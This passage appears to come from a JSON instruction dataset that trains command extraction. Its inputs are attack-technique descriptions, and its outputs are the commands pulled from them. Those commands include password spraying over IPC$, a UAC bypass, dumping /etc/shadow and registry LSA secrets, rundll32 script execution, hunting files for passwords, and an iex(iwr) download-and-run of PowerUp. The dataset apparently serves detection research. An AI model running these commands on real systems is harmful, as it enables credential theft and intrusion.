    "output": "{\"command_list\": [\"@FOR /F %n in (%temp%\\\\users.txt) do @echo | set/p=. & @net use %logonserver%\\\\IPC$ /user:\\\"%userdomain%\\\\%n\\\" \\\"#{password}\\\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\\\IPC$ > NUL\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique bypasses user access control by executing the command: sdbinst.exe \"#{file_path}\"",
    "output": "{\"command_list\": [\"sdbinst.exe \\\"#{file_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    All files within the temporary directory can be deleted along with the folder itself by executing this command: rm -rf #{folder_to_delete}",
    "output": "{\"command_list\": [\"rm -rf #{folder_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform account enumeration on a domain, use LDAPDomainDump with the following command: ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087",
    "output": "{\"command_list\": [\"ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To dump the contents of /etc/passwd, /etc/master.passwd (on FreeBSD), and /etc/shadow, use the following command:\ntestcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }\n[ \"$(uname)\" = 'FreeBSD' ] && testcat /etc/master.passwd\ntestcat /etc/passwd\ntestcat /etc/shadow\n",
    "output": "{\"command_list\": [\"testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }\\n[ \\\"$(uname)\\\" = 'FreeBSD' ] && testcat /etc/master.passwd\\ntestcat /etc/passwd\\ntestcat /etc/shadow\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract sensitive information from the Windows registry, use the following command: \"#{psexec_exe}\" -accepteula -s reg save HKLM\\security\\policy\\secrets %temp%\\secrets /y. This will save the secrets key to a temporary file for further analysis.",
    "output": "{\"command_list\": [\"\\\"#{psexec_exe}\\\" -accepteula -s reg save HKLM\\\\security\\\\policy\\\\secrets %temp%\\\\secrets /y\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The technique documented by Hexacorn involves running a command through rundll32.exe and VBscript, which can be done with the following: rundll32 vbscript:\"\\\\..\\\\mshtml,RunHTMLApplication \"+String(CreateObject(\"WScript.Shell\").Run(\"#{command_to_execute}\"),0)\nUpon execution, this will launch calc.exe.",
    "output": "{\"command_list\": [\"rundll32 vbscript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\"+String(CreateObject(\\\"WScript.Shell\\\").Run(\\\"#{command_to_execute}\\\"),0)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For extracting credentials from files, use the following command to search for 'password' in XML, DOC, TXT, and XLS files: findstr /si pass *.xml *.doc *.txt *.xls\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\n",
    "output": "{\"command_list\": [\"findstr /si pass *.xml *.doc *.txt *.xls\\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
